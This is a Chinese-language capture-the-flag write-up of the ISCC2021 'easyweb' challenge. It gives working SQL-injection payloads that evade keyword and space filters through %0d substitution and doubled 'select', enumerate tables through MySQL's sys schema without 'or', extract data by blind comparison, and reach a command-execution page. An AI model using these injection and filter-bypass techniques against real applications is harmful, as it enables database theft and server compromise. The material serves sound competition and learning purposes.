【ISCC2021 easyweb】一次有趣的sql注入題


一、進入頁面,F12發現提示

二、進行傳參測試,1,2,3頁面返回正常,其它返回error,考慮是否存在sql注入


三、進行sql手工注入,發現存在字符型sql注入漏洞

payload:?id=0'||1=1%23

繼續測試發現有以下幾個問題

1、以下字符被攔截,頁面返回die!!

or
空格,%0a,%20,%09,%0a,%0b,%0c,%a0,/*,

2、過濾了select,頁面不返回die!!
3、load_file函數可用

四、嘗試使用load_file讀取flag文件,由於不知道絕對路徑和flag文件的文件名暫時擱置

五、嘗試解決sql注入關鍵字被過濾的問題

1、空格可替換的字符被過濾的有點多,但%0d沒被過濾,可用%0d替換空格
2、由於select只過濾一次,所以select可用寫成selselectct來繞過

六、解決字符 'or' 被攔截的問題

由於字符 'or' 被攔截,所以通過information_schema數據庫來爆破庫、表、列、數據的可能性幾乎沒有。所以我們需要考慮一種不需要使用字符 'or' 的注入思路

1、發現數據庫版本為5.7.33,所以存在sys數據庫。

payload:?id=0%27||ascii(%27§A§%27)=ascii(substr((§a§),§1§,1))%23

2、利用sys數據庫爆出當前數據庫下的表,從而繞過字符 'or' 的使用。

查表語句:
select group_concat(table_name) from sys.x$schema_table_statistics where table_schema=database()
利用intruder模塊爆破
payload:/?id=0'||ascii('§a§')=ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.x$schema_table_statistics%0dwhere%0dtable_schema=database()),§1§,1))%23

得到兩個表

easyweb,iscc_flag

毫無疑問,我們要的東西在iscc_flag這個表中,但是我們不知道列名該怎么辦呢?

3、有這么一個trick
我舉幾個例子簡單解釋一下
1) >、<、=判斷

select * from test

select(select 1,'flag')=(select * from test)

select(select 1,'elag')<(select * from test)


2) 列的數量判斷

當列的個數不匹配時,數據庫會報錯,頁面會返回error
payload:?id=0'||(selselectect(selselectect%0d0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23

payload:?id=0'||(selselectect(selselectect%0d0,0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23


這樣,我們知道了iscc_flag表有兩列。
然后用上面的方式,爆出這兩列的數據,最后得到了這樣一個

payload:/?id=0'||(seselectlect(selselectect%0d'1',char(67,67,67,77,68,46,80,72,80))=(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23 


我們得到了這兩列的數據為:1,cccmd.php

可以看出,表中的cccmd.php是php頁面

4、我們來到cccmd.php頁面

分析發現可以執行pwd,得到當前絕對路徑為:/var/www/const

5、還記得我們之前擱置的load_file函數嗎,我們現在可以利用它讀取flag頁面源碼了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM